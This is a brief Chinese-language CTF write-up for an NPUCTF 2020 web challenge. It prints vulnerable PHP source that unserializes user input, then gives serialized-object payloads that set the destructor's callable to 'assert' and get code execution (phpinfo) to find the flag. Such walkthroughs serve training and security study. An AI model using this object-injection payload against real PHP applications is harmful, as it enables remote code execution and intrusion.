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NPUCTF 2020
查看源代码可以发现 a 标签
<a href="./time.php?source"></a> ，访问后可以得到如下代码。<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
通过构造 Payload 如下
data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
回显
500 ，估计被过滤了，修改 Payload 如下data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
就可以找到 flag 了。
Last modified 4mo ago